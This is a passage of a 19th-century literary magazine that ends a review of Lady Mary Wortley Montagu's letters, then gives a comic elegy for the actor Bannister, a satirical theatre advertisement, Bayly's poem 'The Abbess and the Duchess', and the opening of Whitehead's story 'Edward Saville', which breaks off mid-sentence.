+            endeavouring all treaties of a different sort: my own
+            woman puts herself at the head of the first party, and
+            her spleen is increased by having no reason for it. The
+            young creature is never stirring from my apartment,
+            always at her needle, and never complaining of any
+            thing. You will laugh at this tedious account of my
+            domestics (if you have patience to read it over), but I
+            have few other subjects to talk of."
+
+Nothing can be livelier or happier than the following agreeable outbreak
+at Lady J. Wharton lavishing herself away upon one unworthy her.
+
+               "Lady J. Wharton is to be married
+            to Mr. Holt, which I am sorry for;--to see a
+            young woman that I really think one of the agreeablest
+            girls upon earth so vilely misplaced--but where are
+            people matched!--I suppose we shall all come right in
+            Heaven; as in a country dance, the hands are strangely
+            given and taken, while they are in motion, at last all
+            meet their partners when the jig is done."
+
+The observations on Richardson are a little too harsh,--but the sobbing
+over his works is a compliment which no criticism could dry up.
+
+              "This Richardson is a strange
+            fellow. I heartily despise him, and eagerly read him,
+            nay, sob over his works, in a most scandalous manner.
+            The two first tomes of Clarissa touched me, as being
+            very resembling to my maiden days; and I find in the
+            pictures of Sir Thomas Grandison and his lady, what I
+            have heard of my mother, and seen of my father."
+
+Time having made us wiser than _the Wortley_, it is amusing to see her
+guessing at and confounding authors and their works.
+
+                 "TO THE COUNTESS OF BUTE.
+            "Louvere, June 23, 1754. "MY DEAR CHILD,--I have
+            promised you some remarks on all the books I have
+            received. I believe you would easily forgive my not
+            keeping my word; however, I shall go on. The Rambler
+            is certainly a strong misnomer; he always plods in
+            the beaten road of his predecessors, following the
+            Spectator (with the same pace a pack-horse would do
+            a hunter) in the style that is proper to lengthen a
+            paper. These writers may, perhaps, be of service to the
+            public, which is saying a great deal in their favour.
+            There are numbers of both sexes who never read anything
+            but such productions, and cannot spare time, from
+            doing nothing, to go through a sixpenny pamphlet. Such
+            gentle readers may be improved by a moral hint, which,
+            though repeated over and over, from generation to
+            generation, they never heard in their lives. I should
+            be glad to know the name of this laborious author. H.
+            Fielding has given a true picture of himself and his
+            first wife, in the characters of Mr. and Mrs. Booth,
+            some compliments to his own figure excepted; and, I am
+            persuaded, several of the incidents he mentions are
+            real matters of fact. I wonder he does not perceive
+            Tom Jones and Mr. Booth are sorry scoundrels. All this
+            sort of books have the same fault, which I cannot
+            easily pardon, being very mischievous. They place a
+            merit in extravagant passions, and encourage young
+            people to hope for impossible events, to draw them out
+            of the misery they choose to plunge themselves into,
+            expecting legacies from unknown relations, and generous
+            benefactors to distressed virtue, as much out of nature
+            as fairy treasures. Fielding has really a fund of true
+            humour, and was to be pitied at his first entrance into
+            the world, having no choice, as he said himself, but to
+            be a hackney writer, or a hackney coachman. His genius
+            deserved a better fate: but I cannot help blaming
+            that continued indiscretion, to give it the softest
+            name, that has run through his life, and I am afraid
+            still remains. I guessed R. Random to be his, though
+            without his name. I cannot think Ferdinand Fathom
+            wrote by the same hand, it is every way so much below
+            it. Sally Fielding has mended her style in her last
+            volume of David Simple, which conveys a useful moral,
+            though she does not seem to have intended it: I mean,
+            shews the ill consequences of not providing against
+            casual losses, which happen to almost everybody. Mrs.
+            Orgueil's character is well drawn, and is frequently to
+            be met with. The Art of Tormenting, the Female Quixote,
+            and Sir C. Goodville, are all sale work. I suppose
+            they proceed from her pen, and I heartily pity her,
+            constrained by her circumstances to seek her bread by
+            a method, I do not doubt, she despises. Tell me who is
+            that accomplished countess she celebrates. I left no
+            such person in London; nor can I imagine who is meant
+            by the English Sappho mentioned in Betsy Thoughtless,
+            whose adventures, and those of Jemmy Jessamy, gave me
+            some amusement. I was better entertained by the valet,
+            who very fairly represents how you are bought and sold
+            by your servants. I am now so accustomed to another
+            manner of treatment, it would be difficult to me to
+            suffer them: his adventures have the uncommon merit
+            of ending in a surprising manner. The general want of
+            invention which reigns among our writers inclines me
+            to think it is not the natural growth of our island,
+            which has not sun enough to warm the imagination. The
+            press is loaded by the servile flock of imitators.
+            Lord Bolingbroke would have quoted Horace in this
+            place. Since I was born, no original has appeared
+            excepting Congreve, and Fielding, who would, I believe,
+            have approached nearer to his excellencies, if not
+            forced, by necessity, to publish without correction,
+            and throw many productions into the world, he would
+            have thrown into the fire, if meat could have been
+            got without money, or money without scribbling. The
+            greatest virtue, justice, and the most distinguishing
+            prerogative of mankind, writing, when duly executed,
+            do honour to human nature; but, when degenerated into
+            trades, are the most contemptible ways of getting
+            bread. I am sorry not to see any more of Peregrine
+            Pickle's performances; I wish you would tell me his
+            name!"
+
+An ancestor of Lord Moira was capable of making a nice distinction:
+
+              "I cannot believe Sir John's
+            advancement is owing to his merit, tho' he certainly
+            deserves such a distinction; but I am persuaded the
+            present disposers of such dignitys are neither more
+            clear-sighted, or more disinterested than their
+            predecessors. Even since I knew the world, Irish
+            patents have been hung out to sale, like the laced
+            and embroidered coats in Monmouth-street, and bought
+            up by the same sort of people; I mean those who had
+            rather wear shabby finery than no finery at all; though
+            I don't suppose this was Sir John's case. That _good
+            creature_, (as the country saying is,) has not a bit
+            of pride about him. I dare swear he purchased his
+            title for the same reason he used to purchase pictures
+            in Italy; not because he wanted to buy, but because
+            somebody or other wanted to sell. He hardly ever opened
+            his mouth but to say 'What you please, sir;'--'Your
+            humble servant;' or some gentle expression to the same
+            effect. It is scarce credible that with this unlimited
+            complaisance he should draw a blow upon himself; yet
+            it so happened that one of his own countrymen was
+            brute enough to strike him. As it was done before many
+            witnesses, Lord Mansel heard of it; and thinking that
+            if poor Sir John took no notice of it, he would suffer
+            daily insults of the same kind, out of pure good nature
+            resolved to spirit him up, at least to some shew of
+            resentment, intending to make up the matter afterwards
+            in as honourable a manner as he could for the poor
+            patient. He represented to him very warmly that no
+            gentleman could take a box on the ear. Sir John
+            answered with great calmness, 'I know that, but this
+            was not a box on the ear, it was only a slap o' the
+            face.'"
+
+The following is a smart sketch--perhaps a little too piquant:
+
+              "Next to the great ball, what
+            makes the most noise is the marriage of an old maid,
+            who lives in this street, without a portion, to a man
+            of 7,000_l._ _per annum_, and they say 40,000_l._ in
+            ready money. Her equipage and liveries outshine any
+            body's in town. He has presented her with 3,000_l._
+            in jewels; and never was man more smitten with these
+            charms that had lain invisible for these forty years;
+            but, with all his glory, never bride had fewer enviers,
+            the dear beast of a man is so filthy, frightful,
+            odious, and detestable. I would turn away such a
+            footman for fear of spoiling my dinner, while he waited
+            at table. They were married on Friday, and came to
+            church _en parade_ on Sunday. I happened to sit in
+            the pew with them, and had the honour of seeing Mrs.
+            Bride fall fast asleep in the middle of the sermon, and
+            snore very comfortably; which made several women in the
+            church think the bridegroom not quite so ugly as they
+            did before. Envious people say 'twas all counterfeited
+            to please him, but I believe that to be scandal; for I
+            dare swear, nothing but downright necessity could make
+            her miss one word of the sermon. He professes to have
+            married her for her devotion, patience, meekness, and
+            other Christian virtues he observed in her: his first
+            wife (who has left no children) being very handsome,
+            and so good-natured as to have ventured her own
+            salvation to secure his. He has married this lady to
+            have a companion in that paradise where his first has
+            given him a title. I believe I have given you too much
+            of this couple; but they are not to be comprehended in
+            few words.
+
+              "My dear Mrs. Hewet, remember me and
+            believe that nothing can put you out of my head."
+
+The noble dukes of the present day, and the learned members of the
+faculty, are by no means of so sportive a turn as they were in the
+goodly times of Mrs. Hewet. We confess we should like to have to get up
+some fine morning to be in St. James's Park in time to see some such
+elegant struggle between the Duke of Devonshire and Sir Henry Halford as
+the following:
+
+               "There is another story that I
+            had from a hand I dare depend upon. The Duke of Grafton
+            and Dr. Garth ran a foot-match in the Mall of 200
+            yards, and the latter, to his immortal glory, beat."
+
+With a strong turn for building herself, Lady Mary makes some sensible
+remarks on its folly in others.
+
+               "Building is the general
+            weakness of old people; I have had a twitch of it
+            myself, though certainly it is the highest absurdity,
+            and as sure a proof of dotage as pink-coloured ribands,
+            or even matrimony. Nay, perhaps, there is more to be
+            said in defence of the last; I mean in a childless
+            old man; he may prefer a boy born in his own house,
+            though he knows it is not his own, to disrespectful or
+            worthless nephews or nieces. But there is no excuse for
+            beginning an edifice he can never inhabit, or probably
+            see finished. The Duchess of Marlborough used to
+            ridicule the vanity of it, by saying one might always
+            live upon other people's follies: yet you see she built
+            the most ridiculous house I ever saw, since it really
+            is not habitable, from the excessive damps; so true it
+            is, the things that we would do, those do we not, and
+            the things we would not do, those do we daily. I feel
+            in myself a proof of this assertion, being much against
+            my will at Venice, though I own it is the only great
+            town where I can properly reside, yet here I find so
+            many vexations, that, in spite of all my philosophy,
+            and (what is more powerful,) my phlegm, I am oftner
+            out of humour than among my plants and poultry in the
+            country. I cannot help being concerned at the success
+            of iniquitous schemes, and grieve for oppressed merit.
+            You, who see these things every day, think me as
+            unreasonable, in making them matter of complaint, as
+            if I seriously lamented the change of seasons. You
+            should consider I have lived almost a hermit ten years,
+            and the world is as new to me as to a country girl
+            transported from Wales to Coventry. I know I ought to
+            think my lot very good, that can boast of some sincere
+            friends among strangers."
+
+But we must put an end to this agreeable conference,--though we think,
+that if we could for ever listen to such vivid gossip, we should never
+grow old. We had intended to have treated of the romantic intimacy,
+and subsequent determined hatred, that existed between Lady Mary and
+Pope; but our limits warn us that we must not indulge in a lengthy
+discussion of the subject. She, it is clear, was flattered by his wit
+and his mental beauty. In him real passion took root. His advances
+she appears to have repulsed, and he was thus suddenly driven to the
+galling contemplation of his own person, and he at once from the adoring
+poet became the "Deformed Transformed" into hate itself. Byron never
+forgave an allusion to his lameness. The separation of Mr. Wortley from
+his accomplished wife still remains unexplained; but it is clear that
+kindly and respectful feelings were preserved unblemished between them;
+and there is a delicate tenderness in each towards the other in the
+veriest trifles, which shows how feeble a thing is absence over sincere
+affections. We are rather surprised that no letters from Lady Mary to
+her grand-daughter Lady Jane, (one of the daughters of the Countess of
+Bute,) have not straggled into print. How beautifully must she have
+written to children, and particularly to such a child as Lady Jane
+appears to have been! The letters, however, we fear are lost.
+
+If we might be permitted to adopt a new manner of life, and to pitch
+our tent in whatever part of his Majesty's dominions we pleased,--we
+have no hesitation in saying that we should lose no time in directing
+_those people_, however respectable they may be, who inhabit Strawberry
+Hill, to _get out_! We should then send down by the Twickenham carrier
+complete sets of the works of Pope, Swift, Johnny Gay, and the dear
+Arbuthnot,--of the Letters of Horace Walpole, of Lady Mary Wortley
+Montagu, Pepys' Memoirs, Evelyn's Memoirs, Shakspeare, and some other
+works of trifling interest,--begging they may be placed in _that_ little
+library with the stained glass. We should then Ourselves go down!--have
+a comfortable annuity from government, and a moderate handful of
+servants from the neighbourhood; and there we would pass away our life,
+"from morn to noon,--from noon to dewy eve,--a summer's day!" This
+plan has something in it so modest and reasonable, that we cannot help
+thinking it will attract the attention of the existing ministry, and in
+the end be realized!
+
+
+
+
+           A LAMENT OVER THE BANNISTER.
+
+    And have we lost thee!--has the monarch grim
+    To his dull court borne off the child of whim!
+    And art thou gone, _Oldboy_?[26] thou brave and good
+    _Protector_[27] of the _Children in the Wood_?
+
+    Then has the _World's_ great _Echo_[28] died away;
+    Out of his time th' _Apprentice_[29] could not stay:
+    The _Squib_'s[30] gone off, extinguish'd ev'ry spark,
+    And Momus mourns his region left so dark.
+
+    How oft, exulting, have we view'd the _Moor_[31]
+    For Christian captives open Freedom's door;
+    We've stared to hear the _Valet_'s[32] ready fib,
+    And shudder'd when the _Cobbler_[33] strapp'd his rib.
+
+    How, when Barbadoes' merry bells did ring,
+    We've smiled to see thee _Trudge_[34] and hear thee sing;
+    Thy _Ben_[35] and _Dory_[36] were of right true blue,
+    Thy _Sheva_[37] warm'd us to respect a _Jew_.
+
+    To _Feign well_[38] thou indeed couldst make pretence,
+    Thy brilliant eye was all intelligence;
+    In thee we lost the flow'r of _City youths_,[39]
+    And now no _Lenitive_[40] our sorrow soothes.
+
+    We care not whether tithes be paid or left,
+    Since of our _Acres_[41] we have been bereft;
+    We dread Spring Rice's yearly fiscal bore,
+    But grieve _Thy Budget_[42] can be heard no more.
+
+    Great Garrick's pet,--an ancient fav'rite's son,--
+    Upon the stage thy public course was run,
+    Tho', in thy youth, a painter; and, as man,
+    Thou didst draw houses in a _Caravan_[43].
+
+    And well thou couldst support a _Storm_[44], but Gout
+    Life's _little farthing rushlight_[45] has blown out:
+    Thou'rt gone, and from all further ills art screen'd,
+    For thou didst follow _Conscience, not the Fiend_[46].
+
+    Mourn'd in public and private, thou wouldst not come back;
+    "_Be quiet! I know it_"[47]--thou 'rt happier, Jack! J.S.
+
+[26] Colonel Oldboy in Lionel and Clarissa.
+
+[27] Walter The Children in the Wood.
+
+[28] Echo The World.
+
+[29] Dick The Apprentice.
+
+[30] Sam Squib Past Ten o'Clock.
+
+[31] Sadi The Mountaineers.
+
+[32] Sharp The Lying Valet.
+
+[33] Jonson The Devil to Pay.
+
+[34] Trudge Inkle and Yarico.
+
+[35] Ben Love for Love.
+
+[36] John Dory Wild Oats.
+
+[37] Sheva The Jew.
+
+[38] Colonel Feignwell Bold Stroke for a Wife.
+
+[39] Young Philpot The Citizen.
+
+[40] Lenitive The Prize.
+
+[41] Acres The Rivals.
+
+[42] Bannister's Budget A Monodramatic Entertainment.
+
+[43] Blabbo The Caravan.
+
+[44] Storm Ella Rosenberg.
+
+[45] Little Farthing Rushlight A popular song sung by Bannister.
+
+[46] Lancelot Gobbo The Merchant of Venice.
+
+[47] Sir David Dunder Ways and Means.
+
+
+
+
+THEATRICAL ADVERTISEMENT, EXTRAORDINARY.
+
+          [   As we might reasonably be expected
+            to account for the possession of the following
+            document, we beg to state that it was put into our
+            hands by an unknown gentleman, who slipped unseen
+            into our _sanctum_, clothed in a whity-brown suit,
+            half-boots, and blue cotton stockings. The gentleman
+            apologized for the negligence of his attire, by stating
+            that he was in "reduced" circumstances. His employers,
+            he said, had hit upon an ingenious mode of reimbursing
+            themselves for the losses they sustained by trading
+            under the market price,--which was simply paying their
+            workmen one half of their wages, and owing them the
+            other. On our inquiring with great sympathy, whether he
+            was not desirous to get the last-mentioned moiety, he
+            replied with real feeling, that he wished he might. He
+            then begged the loan of a small pinch of snuff, sighed
+            deeply, and withdrew.--ED. B. M. ]
+
+Messrs. Four, Two, and One, many years resident on the Surrey side of
+the river Thames, beg most respectfully to announce to the play-going
+public, that in consequence of the increasing demand for all sorts
+of low-priced theatrical articles, they have at length succeeded in
+securing and entering upon those large, commodious, and formerly
+well-known high-priced premises situate in Drury-lane and Covent-garden;
+and having by this arrangement prevented the possibility of competition,
+they are determined to do business in future upon the Surrey-side system
+only. To prove the sincerity of their intentions, Four, Two, and One
+take this opportunity of making known to the directors of theatrical
+establishments, that they have a number of hints ready cut and dried,
+upon the necessity of a general reduction of the salaries of the
+principal ENGLISH _artistes_, which will be found singularly useful to
+managers taking a Continental trip for the purpose of securing FOREIGN
+talent for the London market.
+
+F. T. and O. also recommend their celebrated elastic, self-acting,
+portable, Anglo-Parisian pen, skilfully contrived to fit all hands,
+and which enables the writer, after six lessons upon the Hamiltonian
+system, to translate any French piece into _Surrey-side English_;
+thereby superseding the necessity of employing and paying any author
+or adapter who thinks it worth his while to embarrass himself with the
+study of reading, writing, or any other abstruse or outlandish knowledge
+whatsoever.
+
+F. T. and O. cannot conclude without returning their most sincere and
+heartfelt thanks to the nobility, gentry, and friends of the drama
+generally, by whom their endeavours have been so eminently patronized.
+In particular, they should consider themselves guilty of the grossest
+ingratitude, did they omit this occasion of acknowledging their
+infinite obligations to the proprietors of the Patent establishments,
+who (by their active zeal, and indefatigable industry in the great
+cause of general reduction,) have placed Four, Two, and One, in their
+present premises, and have thereby enforced and illustrated this
+incontrovertible fact,--that Sheridan, Harris, and Colman were mere
+humbugs and imposters compared with F. T. and O.; and, that during their
+long and high-priced professional career, they did nothing to obtain or
+preserve the protection of a candid and enlightened public.
+
+
+
+
+      THE ABBESS AND THE DUCHESS.
+        BY THOMAS HAYNES BAYLY.
+
+              _Abbess._
+    Who is knocking for admission
+      At the convent's outer gate?
+    Is it possible a lady
+      Can be wandering so late?
+    Let me see her through the lattice,
+      And her _story_ let me hear;
+    --Oh! your most obedient, madam;
+      May I ask what brings you here?
+
+             _Duchess._
+    You will very much applaud me,
+      When you hear what I have done;
+    I've been naughty,--I'm a penitent,
+             and want to be a nun.
+    I've been treated most unfairly,
+      Though 'tis said I am most fair;
+    I am rich, ma'am, and a duchess,
+      And my name's La Vallière.
+
+              _Abbess._
+    Get along, you naughty woman,
+      You'll contaminate us all;
+    When you touch'd the gate, I wonder
+      That the convent did not fall!
+    Stop! I think you mention'd money,--
+      That is--penitence, I mean:
+    Let her in,--I'm _too_ indulgent;--
+      Pray how are the king and queen?
+
+             _Duchess._
+    Lady Abbess, you delight me,--
+      Oh! had Louis been as kind!
+    But he used me ungenteely,
+      To my fondness deaf and blind.
+    Oh! methinks that now I view him,
+      With his feathers in his hat!--
+    Hem!--beg pardon--I'm aware, ma'am,
+      That I mustn't speak of _that_.
+
+              _Abbess._
+    Not by no means, madam, never;
+      _No_--you mustn't even _think_;
+    (Put your feet upon the fender,
+      And here's something warm to drink:
+    Is it strong enough?--pray stir it:)
+      What on earth _could_ make you go
+    From a palace to a convent?
+      Come,--I'm curious to know?
+
+             _Duchess._
+    Can you wonder, Lady Abbess?--
+      At the change I should rejoice,--
+    I of vanities was weary,
+      And a convent was my choice.
+    I have had a troubled conscience,
+      And court manners did condemn,
+    Ever since I saw King Louis
+      Making eyes at Madam _M_.
+
+              _Abbess._
+    Oh! I think I comprehend you:
+      But take care what you're about;
+    Though 'tis easy to get _in_ here,
+      'Tan't so easy to get _out_:
+    You'll for beads resign your jewels,
+      And your robes for garments plain;
+    Ere you cut the world, remember
+      'Tis not cut and come again!
+
+             _Duchess._
+    I am willing in a cloister
+      That my days and nights should pass;
+    --(This is very nice indeed, ma'am;
+      If you please, another glass)--
+    As for courtiers, I'll hereafter
+      Lay the odious topic by;
+    Oh! their crooked ways enough are
+      For to turn a nun awry!
+
+              _Abbess._
+    Very proper: to the sisters
+      'Twould be wrong to chatter thus;
+    Now and then, when snug and cosey,
+      'Twill do very well for _us_.
+    It is strange how tittle-tattle
+      All about the convent spreads,
+    When the barber from the village
+      Comes to shave the sisters' heads.
+
+             _Duchess._
+    Do you really mean to tell me
+      I must lose my raven locks?
+    Then I'll tie 'em up with ribbon,
+      And I'll keep 'em in my box:
+    Oh! how Louis used to praise 'em!
+      Hem!--I think I'll go to bed.--
+    Not another drop, I thank you,--
+      It would get into my head.
+
+              _Abbess._
+    Benedicite! my daughter,
+      You'll be soon used to the place;
+    Though at meals our only duchess,
+      _You_ will have to say your grace:
+    And when none can interrupt us,
+      You of courtly scenes shall tell,
+    When I bring a drop of comfort
+      From my cellar to my cell!
+
+
+
+
+                  EDWARD SAVILLE.
+           A TRANSCRIPT. BY CHARLES WHITEHEAD.
+
+The doctor tells me I must take no wine. Pshaw! It is not that which
+mounts into my brain; and sometimes--but I must not wander--wine is the
+best corrector of these fancies. One bottle more of sober claret, and
+I shall be able to finish before midnight the brief sketch of my life
+which I promised Travers long ago.
+
+It were worse than useless to set down any particulars of my boyhood.
+An only son is usually a spoiled one, and that which is so easy
+and delightful a task to most parents was by no means difficult or
+unpleasant to mine; and yet, to do myself justice, I believe I was not
+more conceited, insolent, selfish, and rapacious than others are during
+those days of innocence, as they are called,--those days of innocence
+which form the germ of that noble and disinterested creature, man.
+
+At the age of three-and-twenty I succeeded to my father's estate. It was
+to divert a sense of loneliness which beset me, that I plunged into--as
+they term it, but the phrase is a wrong one--that I ventured upon the
+course of folly and dissipation into which so many young men of fortune
+like myself hurry themselves, or are led, or are driven. But why recount
+these scenes of pleasure--so called, or miscalled--whose reaction is
+utter weariness, satiety, and disgust?
+
+I was at the theatre one night, when the friend who accompanied me
+directed my attention to a very lovely girl, who, with her mother and
+a party of friends, occupied the next box. She was, certainly, the
+loveliest creature my eyes had ever lighted upon; with a sylph-like
+form, (that is the usual phrase, I believe,) wanting perhaps that
+complete roundness of limb which is considered essential to perfect
+beauty in a woman--but she was barely sixteen--and yet suggesting, too,
+the idea of consummate symmetry. Her face--but who can describe beauty?
+who even can paint it? Let any man look at the finest attempts to
+achieve this impossibility by the old masters, and then let him compare
+them with the faces he has seen, and may see every day. Heavens! what
+inanities! Can a man paint a soul upon canvass? And yet the artist talks
+of his "expression."
+
+I watched her closely during the performance,--indeed, I had no power
+to withdraw my gaze from her; and once or twice her eyes met mine, and
+I thought I could perceive she was not altogether displeased at my
+attention. Her confusion betrayed that to me, and in one short hour I
+was a lost man.
+
+When the play was over, I framed a miserable excuse, which I thought
+at the time a most ingenious one, to my friend for not accompanying
+him home to supper, as I had promised; and hastening after my unknown
+and her mother, who had left the box, was just in time to see them
+enter a coach. I contrived to keep pace with it, and saw it deposit its
+beautiful freight at a house in a small private street near Portman
+Square.
+
+I could laugh--unaccustomed as I am even to private laughing
+now-a-days--when I think, as I do sometimes, on those days of sentiment.
+It were as futile to attempt to renew that sentiment after thirty, as
+to strive to recal those days, and to bid them stand in next year's
+calendar. The green wood is out of the tree by that time; and the trunk
+becomes hard, and gnarled, and stubborn. Now is the time to enjoy life.
+At five-and-thirty the blood and the brain act in concert, and the heart
+beats not one pulse the quicker, while they do their spiriting--not
+gently always.--To return.
+
+I went home that night altogether an altered man, and rose next
+morning from a sleepless bed, absorbed with the one idea which had
+worked so miraculous a change within me. All that day, almost without
+intermission, did I pace up and down the street in the hope of seeing
+her; but in vain. Not once did she approach the window; and I did not
+deem it prudent to question one of the servants who came out of the
+house several times during the day. I betook myself, therefore, towards
+evening to a green-grocer's shop in the neighbourhood; and the purchase
+of some fruit gave me a privilege to indulge in a little chat with the
+good old woman who conducted the business. I affected to be chiefly
+solicitous respecting the elderly lady, whom I had seen by chance, and
+believed to be a friend of my father, but whose name I could not, for
+the life of me, remember. The old woman smiled at my shallow artifice,
+but proceeded to inform me that the elderly lady was the widow of an
+officer who had been killed in the Peninsular War, leaving an only
+daughter, at that period an infant. I begged pardon--the name? did she
+know the daughter's name?
+
+"Oh yes! it was Isabella Denham."
+
+It was an era in my life, the first sound of that name. I thanked my
+kind informant, and withdrew.
+
+I need not tell how unremittingly, and for how many weeks, I paced up
+and down that street, with various success; how regularly I attended the
+church she frequented; and how at length I obtained an introduction to
+the family.
+
+I found Isabella Denham more captivating than the accumulated fancies
+and self-willed convictions of months had pictured her to me. It is
+no unusual result in such cases; but whether it be that the object
+transcends the imagination, or that the imagination subserves the
+object, I know not. It was so, however; for feeling upon these occasions
+takes the place of reason, which is an impertinence.
+
+Let me be just. I think, had I loved Isabella Denham less, I should
+equally have admired her. She had a mind and a heart; she was
+accomplished; she was beautiful, gentle, and good; and she loved me.
+Yes, she loved me. I believed it then, and I am certain of it now. How I
+loved her, she never knew: that was for Time to show, and he has shown
+it.
+
+I offered her my hand in due time, and was accepted. How I despised the
+sneers and banter of some of my friends who could not conceive the idea
+of a marriage with fortune on one side, and none on the other, and yet
+were endeavouring at the same time to effect an engagement of a similar
+nature in their own favour! How I disregarded the gratuitous advice of
+sundry of my officious relatives, who thought that all love had died
+when their own gave up the ghost, and who sometimes prophesied truly
+because they were always prognosticating evil!
+
+We were at length married; and the close of the fourth year saw no
+diminution of our happiness. We were domestic enough without seclusion,
+and went into as much company as sufficed to make us feel that home
+was the happiest place after all. One circumstance had contributed to
+augment my felicity,--the birth of a son, which took place about a year
+after our marriage.
+
+I know not what some people mean, who tell you that when a man becomes
+married, love subsides into affection, and friendship takes the place
+of passion. It was not so with me. I loved the wife as much as I had
+adored the mistress. To make her happy was myself to be so; and to have
+made her so, I would have laid down my life. Some, indeed, hinted that
+I indulged her too much--that I let her have her own way in everything.
+And why not? Did I marry to make my wife the creature, or the slave,
+of some system of management, rule of action, or principle of conduct?
+phrases which I abhor. No--no; be they as wise as they will, I was
+right. I am convinced of it. _That_ was not the cause. We were happy.
+
+It was by the merest chance that I one day encountered Hastings in the
+street--my friend Hastings. We had been companions at Eton, and at
+college our intimacy had grown into friendship. Were I now asked for
+what particular quality of mind or heart I had chosen Hastings for a
+friend, I should find some difficulty in answering the question. He
+was what is termed "a good-natured fellow;" there was nothing gross or
+offensive in his gaiety, and he was always the same. His feelings never
+led him to make a fool of himself which is much to say of a young man.
+They might be called good _plated_ feelings, which answered the purpose
+well enough, and sometimes passed for more costly articles. It is much,
+after all, to possess a friend between whom and yourself you can drew
+comparisons favourable to the latter, and who is perfectly content that
+you should do so.
+
+He dined with me on the next day. His powers of conversation were
+certainly much improved since we had last talked together. He could turn
+the most superficial reading to admirable account; and so minute was
+his observation, and so faithfully and graphically could he describe
+manners, and the surface motives of men, that it almost appeared like a
+profound knowledge of mankind. Isabella was pleased with his society;
+and after she had retired to the drawing-room, my friend expatiated
+somewhat at large upon her beauty and elegance, and, above all, upon
+the good sense which characterised her. I need hardly say that I also
+was delighted with him, and when we shook hands for the night, I could
+have hugged the man for his glowing eulogy. I almost loved every one who
+admired her. I was too weak--too weak.
+
+He visited us often, for his time was altogether his own. He was living
+upon expectancy, and accordingly had more leisure than money. At various
+periods I pressed him to make my purse his own, and he did so. I had,
+indeed, more money at my disposal than I cared for, or knew what to do
+with; and at that time I thought, when I served a friend, that I had
+found the best employment of it. It is strange,--and yet perhaps it is
+not by any means strange,--how men alter in this particular as they grow
+older. The heart-strings and the purse-strings are not so easily drawn
+then.
+
+Well, I was his banker, and felt myself sufficiently repaid by his
+society. About this time, also, I was greatly occupied in business of a
+somewhat troublesome nature, to conclude which it was necessary that
+I should visit my estate. My probable term of absence was to be about
+six weeks. The fashionable season was in its meridian, and I could not
+be cruel enough to ask Isabella to accompany me. She had latterly taken
+more pleasure in parties, and balls, and concerts than heretofore.
+Perhaps I had kept her too close; we were too domestic. After all, it
+was not the way of the world. I thought so, and Hastings agreed with
+me;--I would see it reformed altogether when I return.
+
+In the mean while I begged Hastings to look in now and then, and
+see that she was not lonely and out of spirits. It was natural to
+expect that my first absence from her would cause her to feel so. He
+promised to do as I requested, and I set off into the country, where
+I was detained more than two months; and at length, finding myself
+released from an irksome attendance on very unpleasant business, I took
+post-horses, and with all the ardour of a lover returned to London.
+
+I returned to London.--
+
+I remember the minutest particulars of that scene so well! Not a tittle
+of it has escaped my memory--not a word, not a syllable! It will never
+depart from my mind--from my soul!
+
+When the porter opened the door, I hastened through the hall, and sprang
+up stairs into the drawing-room. She was not there; but my little boy,
+hearing my well-known footstep, came from the adjoining room and ran
+towards me. I caught him in my arms, and gave him a thousand kisses.
+
+"Well, my dear little fellow, and where is mamma?"
+
+"Not here--not here," said the boy, looking around; "but I'm so glad
+you've come back!"
+
+Isabella was gone out, doubtless. I rang the bell. I did not observe
+Mrs. Martin, the housekeeper, enter the room,--I was still caressing the
+child.
+
+"Ha! Mrs. Martin--But what's the matter? You look ill.--Where is Mrs.
+Saville?"
+
+The woman spoke not, but trembled violently, and turned very pale. I
+motioned her to take a seat. She did so.
+
+"My dear madam, you alarm me," said I. "Is anything wrong--your
+mistress----"
+
+Tears were streaming down the woman's face, as she arose suddenly, and
+with her hands clasped before her she came towards me.
+
+"Oh, sir! bear it like a man," she cried, weeping bitterly;--"do bear
+it like a man, sir! That I should live to tell you this!--I, who have
+carried you in these arms, and have prayed a thousand times for your
+happiness when I should be dead and gone!"
+
+She paused. Perhaps my face revealed the sickness of heart which at that
+moment overcame me. I could not rise from my seat; I could not lift
+the child from my knee, as he lay upon my bosom with his head pressed
+against my heart.
+
+"Merciful Heaven!--Isabella is ill--she is dying!--at once, at once tell
+me----"
+
+"No, no," said the woman bitterly, "she is not ill or dying. Mr.
+Saville, I durst not tell you my suspicions before you left town--I
+durst not, sir. For mercy's sake compose yourself! My mistress left this
+house last Tuesday night with Mr. Hastings."
+
+That horrible shriek still rings in my ears. I remember thrusting the
+child from me, and clasping my head with my hands; and then I was
+smitten down--struck to the earth--worse than dead--oh, how much worse
+than dead!
+
+It was a long, long, hideous dream that succeeded, full of woe, and
+lamentations, and weeping, and curses, and despair. But I awoke at last
+from that dream. Where was I? It was a very narrow, but lofty room; the
+walls were whitewashed, and there was one small window about twelve feet
+from the door. I was seated on a low truckle-bed; and as I turned my
+eyes from the light of the window, they fell upon my hands, which were
+laid before me. Around my wrists there were deep marks, as though they
+had been tied together with cords; and when I moved, a sharp pain went
+round me, like a girdle. But the rope had been loosened, and was no
+longer about me. A man entered the room.
+
+"How do you feel yourself now?" said he, laying his hand upon my
+shoulder.
+
+I looked up. Methought I recognised the voice, and the face was almost
+familiar to me, and repulsively so.
+
+"I am well--very well," I answered. "Where am I?"
+
+The man said nothing, but silently left the room, presently returning
+with a gentleman, of whom, as of the man, I had an indistinct
+remembrance.
+
+"You will be better soon, sir," said this person kindly, as he felt my
+pulse; and he turned towards the man, and spoke to him in an undertone.
+"Let him he kept very quiet," was all I heard, and he retired shortly
+after.
+
+Yes:--I had been mad--raving mad--for two years, and was now slowly
+struggling back into consciousness. Feeble glimmerings of the past came
+upon me at first, and then farther half-revelations were extended to me;
+until at length _the cause_, dimly and remotely, but gradually nearer
+and more near, stood before me like a curse. It is well for me that I
+did not then relapse into madness; but I wrestled with it, I overcame
+it, and in a month was taken away in my own physician's carriage, and
+brought back home. Home?--that had been destroyed.
+
+My friend, Dr. Herbert, was, and is, the best fellow breathing.
+He devoted for some weeks nearly the whole of his time to me. He
+endeavoured to draw my mind away from the one subject, which might, he
+thought, if entertained, once more overthrow my reason. He was mistaken.
+The very endeavour to discard that memory, as often as it recurred,
+would soon have distracted me. I encouraged it, therefore, and was
+strengthened by it;--my mind throve upon it,--it was a comfort to me.
+
+The many slight indications of an attachment--of a passion--between
+_her_ and this man Hastings,--and they must have been but slight
+indications,--were presented to me now grossly and palpably. I could see
+them all,--they stung me;--and I would curse my fool's nature that was
+blind, or would not see and provide against the consequence. And why did
+I curse my easy nature? Could I have borne to live a wretched turnkey,
+a miserable listener at key-holes, a dealer out of "punishment, the
+drudgery of devils?" Did I marry to suspect virtue, or to control vice?
+Neither; and I was glad that, when they did wrong me, they permitted me
